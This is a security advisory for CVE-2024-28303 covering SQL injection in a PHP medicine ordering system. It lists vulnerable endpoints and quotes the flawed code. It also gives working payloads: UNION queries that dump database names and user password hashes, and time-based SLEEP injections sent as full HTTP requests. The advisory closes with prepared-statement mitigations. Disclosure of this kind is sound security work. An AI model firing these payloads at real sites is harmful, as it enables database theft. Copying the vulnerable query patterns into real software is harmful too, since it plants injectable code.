- Exploit Author: This vulnerability was discovered and reported by Onur Karasalihoğlu from Enforsec A. Ş.
- Vendor Homepage: https://www.sourcecodester.com/php/15359/online-medicine-ordering-system-phpoop-free-source-code.html
- Software Link: https://www.sourcecodester.com/download-code?nid=15359&title=Online+Medicine+Ordering+System+in+PHP%2FOOP+Free+Source+Code
- Version: 1.0
- Tested on: PHP/7.4.33 + LiteSpeed
- CVE: CVE-2024-28303
- Exploit:
https://github.com/onurkarasalihoglu/vulnerability-disclosures/blob/main/omos_sqli_exploit.py
In the realm of web security, SQL Injection remains one of the most severe vulnerabilities, allowing attackers to manipulate database queries through unsanitized input. This document provides a comprehensive analysis of a SQL Injection vulnerability discovered in the OMOS application, detailing its implications, technical breakdown, and mitigation strategies.
The vulnerability affects several components of the OMOS application, where user inputs are directly used in constructing SQL queries without adequate validation or sanitization.
During our analysis, we identified several instances of SQL Injection vulnerabilities, examples of which were detailed in the provided documentation. It is important to note that these instances were merely illustrative of the broader security challenges faced by the application. Given the severity of these findings, we strongly recommend a thorough and immediate review of the application's codebase. This review should aim to identify and remediate all instances of SQL Injection vulnerabilities by implementing robust input validation and prepared statement practices across the application.
id | Vulnerable EndPoint | Vulnerable Parameter |
---|---|---|
1 | /admin/reports/index.php | date |
2 | /admin/customers/manage_customer.php | id |
3 | /admin/customers/manage_customer.php | id |
4 | /admin/categories/manage_category.php | id |
5 | /admin/products/manage_product.php | id |
6 | /admin/orders/update_status.php | id |
7 | /admin/inquiries/view_inquiry.php | id |
8 | /admin/inventory/view_inventory.php | id |
9 | /report/view_report.php | id |
10 | /products/view_product.php | id |
11 | /admin/user/manage_user.php | id |
12 | /admin/inventory/manage_stock.php | id |
13 | /admin/orders/view_order.php | id |
14 | /admin/orders/manage_request.php | id |
15 | /admin/categories/view_category.php | id |
16 | /classes/Master.php | name (line 38 - line 49), brand (line 93 - line 106), code (line 202 - line 212) |
17 | /classes/Users.php?f=save | lastname |
As part of our comprehensive security assessment, we have identified specific instances of code within the OMOS application that are vulnerable to SQL Injection attacks. To illustrate the nature and potential impact of these vulnerabilities, we have documented representative samples of the vulnerable code segments alongside corresponding example payloads that demonstrate how these vulnerabilities can be exploited.
Vulnerable code samples and example payloads (Proof of concepts) are as follows.
File name 1: admin/reports/index.php
Description 1: This function is actually a function belonging to the admin, but since the following codes run before the user's permissions are verified, SQL Injection attacks can be carried out without having admin authority.
Vulnerable code 1:
<?php
$date = isset($_GET['date']) ? $_GET['date'] : date("Y-m-d");
?>
...
<?php
$g_total = 0;
$i = 1;
$requests = $conn->query("SELECT oi.*,o.code, concat(p.brand, ' ', p.name,COALESCE(CONCAT(' (',p.dose,')'), '')) as product FROM `order_items` oi inner join order_list o on oi.order_id = o.id inner join product_list p on oi.product_id = p.id where date(o.date_created) = '{$date}' order by abs(unix_timestamp(o.date_created)) asc ");
while($row = $requests->fetch_assoc()):
$g_total += $row['price'] * $row['quantity'];
?>
Sample paylod to dump database names 1:
/admin/?page=reports&date=2024-02-22'%20UNION%20ALL%20SELECT%20NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cCONCAT('enforsec'%2cJSON_ARRAYAGG(CONCAT_WS(0x6966686e7775%2cschema_name))%2c'enforsec')%20FROM%20INFORMATION_SCHEMA.SCHEMATA--%20-
Sample payload to dump user information with password hash (the database name is assumed to be omosdb) 1:
/admin/?page=reports&date=2024-02-22'%20UNION%20ALL%20SELECT%20NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cCONCAT('enforsec'%2cJSON_ARRAYAGG(CONCAT_WS('%2c'%2c%60type%60%2cfirstname%2clastname%2cmiddlename%2cpassword%2cusername))%2c'enforsec')%20FROM%20uomosdb.users--%20-
File name 2: /admin/categories/manage_category.php
Vulnerable code 2:
...
if(isset($_GET['id'])){
$user = $conn->query("SELECT * FROM customer_list where id ='{$_GET['id']}' ");
...
Sample payload for time based detection 2:
/admin/?page=categories/manage_category&id=1'+AND+(SELECT+9970+FROM+(SELECT(SLEEP(10)))gPee)+AND+'yrdk'%3d'yrdk
File name 3: /admin/categories/view_category.php
Vulnerable code 3:
...
if(isset($_GET['id']) && $_GET['id'] > 0){
$qry = $conn->query("SELECT * from `category_list` where id = '{$_GET['id']}' and delete_flag = 0 ");
if($qry->num_rows > 0){
foreach($qry->fetch_assoc() as $k => $v){
$$k=$v;
}
...
Sample payload for time based detection 3:
/admin/?page=categories/view_category&id=1'+AND+(SELECT+9970+FROM+(SELECT(SLEEP(10)))gPee)+AND+'yrdk'%3d'yrdk
File name 4: /classes/Master.php
Vulnerable code 4:
function save_category(){
$_POST['description'] = addslashes(htmlspecialchars($_POST['description']));
extract($_POST);
$data = "";
foreach($_POST as $k =>$v){
if(!in_array($k,array('id'))){
if(!empty($data)) $data .=",";
$v = $this->conn->real_escape_string($v);
$data .= " `{$k}`='{$v}' ";
}
}
$check = $this->conn->query("SELECT * FROM `category_list` where `name` = '{$name}' and delete_flag = 0 ".(!empty($id) ? " and id != {$id} " : "")." ")->num_rows;
if($this->capture_err())
return $this->capture_err();
if($check > 0){
$resp['status'] = 'failed';
$resp['msg'] = "Category already exists.";
return json_encode($resp);
exit;
}
Sample payload for time based detection 4:
POST /classes/Master.php?f=save_category HTTP/2
Host: target.com
Content-Length: 651
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZuV1Yhp1qBXeANLY
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://target.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target.com/admin/?page=categories/manage_category&id=2
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
------WebKitFormBoundaryZuV1Yhp1qBXeANLY
Content-Disposition: form-data; name="id"
2
------WebKitFormBoundaryZuV1Yhp1qBXeANLY
Content-Disposition: form-data; name="name"
Capsule'+(select*from(select(sleep(20)))a)+'
------WebKitFormBoundaryZuV1Yhp1qBXeANLY
Content-Disposition: form-data; name="description"
Suspendisse accumsan mollis quam. Etiam ut dolor felis. Proin maximus eros tortor, et condimentum massa mollis nec. Fusce gravida posuere purus et tempor. Phasellus commodo auctor justo, tempus pellentesque nunc condimentum id.
------WebKitFormBoundaryZuV1Yhp1qBXeANLY
Content-Disposition: form-data; name="status"
1
------WebKitFormBoundaryZuV1Yhp1qBXeANLY--
File name 5: /classes/Master.php
Vulnerable code 5:
...
function save_product(){
if(isset($_POST['descrption']))
$_POST['descrption'] = addslashes(htmlspecialchars($_POST['descrption']));
extract($_POST);
$data = "";
foreach($_POST as $k =>$v){
if(!in_array($k,array('id'))){
if(!empty($data)) $data .=",";
$v = $this->conn->real_escape_string($v);
$data .= " `{$k}`='{$v}' ";
}
}
$check = $this->conn->query("SELECT * FROM `product_list` where `brand` = '{$brand}' and `name` = '{$name}' and delete_flag = 0 ".(!empty($id) ? " and id != {$id} " : "")." ")->num_rows;
if($this->capture_err())
return $this->capture_err();
if($check > 0){
$resp['status'] = 'failed';
$resp['msg'] = "Product already exists.";
return json_encode($resp);
exit;
}
...
Sample payload for time based detection 5:
POST /classes/Master.php?f=save_product HTTP/2
Host: target.com
Content-Length: 1301
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXWulYPAcY0eEfHBg
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://target.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target.com/admin/?page=products/manage_product&id=2
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="id"
2
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="brand"
Brand 101'+(select*from(select(sleep(10)))a)+'
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="name"
Amoxicillin
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="dose"
250
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="category_id"
2
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="description"
Aliquam porttitor diam nunc, eu imperdiet mi vulputate ut. Orci varius natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Aenean congue commodo tristique. Proin congue consequat fringilla. Cras bibendum consectetur ipsum eu ultrices. Integer aliquet mauris eu pharetra venenatis.
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="price"
7.00
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="status"
1
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryXWulYPAcY0eEfHBg--
File name 6: /classes/Users.php
Vulnerable code 6:
...
public function save_users(){
if(empty($_POST['password']))
unset($_POST['password']);
else
$_POST['password'] = md5($_POST['password']);
extract($_POST);
$data = '';
foreach($_POST as $k => $v){
if(!in_array($k,array('id'))){
if(!empty($data)) $data .=" , ";
$data .= " {$k} = '{$v}' ";
}
}
if(empty($id)){
$qry = $this->conn->query("INSERT INTO users set {$data}");
...
Sample payload for time based detection 6:
POST /classes/Users.php?f=save HTTP/2
Host: target.com
Content-Length: 851
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykf7iPk10Z74l0Kf2
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://target.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target.com/admin/?page=user/manage_user
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
------WebKitFormBoundarykf7iPk10Z74l0Kf2
Content-Disposition: form-data; name="id"
------WebKitFormBoundarykf7iPk10Z74l0Kf2
Content-Disposition: form-data; name="firstname"
a
------WebKitFormBoundarykf7iPk10Z74l0Kf2
Content-Disposition: form-data; name="middlename"
a
------WebKitFormBoundarykf7iPk10Z74l0Kf2
Content-Disposition: form-data; name="lastname"
a'+(select*from(select(sleep(20)))a)+'
------WebKitFormBoundarykf7iPk10Z74l0Kf2
Content-Disposition: form-data; name="username"
a
------WebKitFormBoundarykf7iPk10Z74l0Kf2
Content-Disposition: form-data; name="password"
a
------WebKitFormBoundarykf7iPk10Z74l0Kf2
Content-Disposition: form-data; name="type"
1
------WebKitFormBoundarykf7iPk10Z74l0Kf2
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarykf7iPk10Z74l0Kf2--
Version 1.0 is known to be vulnerable.
To address this vulnerability, it is crucial to implement the following mitigation strategies:
- Input Validation and Sanitization: Ensure that all user-supplied input is properly validated and sanitized to prevent malicious SQL code execution.
- Use of Prepared Statements: Utilize prepared statements with parameterized queries to separate SQL logic from data, effectively neutralizing SQL Injection attacks. A sample usage or parameterized queries is as follows.
<?php
$mysqli = new mysqli('your_host', 'your_username', 'your_password', 'your_db');
$sql = "SELECT * FROM table_name WHERE column1 = ?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $value1);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
// işlemler
}
?>
Given the critical nature of these findings, we strongly recommend undertaking a thorough review and remediation process to address these and any other similar vulnerabilities within the application. This should include, but not be limited to, the implementation of prepared statements and parameterized queries, as well as comprehensive input validation routines to mitigate the risk of SQL Injection attacks.
- OWASP SQL Injection Prevention Cheat Sheet: https://owasp.org/www-project-cheat-sheets/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- Similar Vulnerabilites in OMOS Product
For further information or inquiries about this vulnerability analysis, please contact onur.karasalihoglu@enforsec.com.
- Discovered on: Fri, 23 Feb 2024
- CVE ID Requested on: Tue, 27 Feb 2024
- CVE ID Assigned on: waiting
- Advisory Published on: Tue, 27 Feb 2024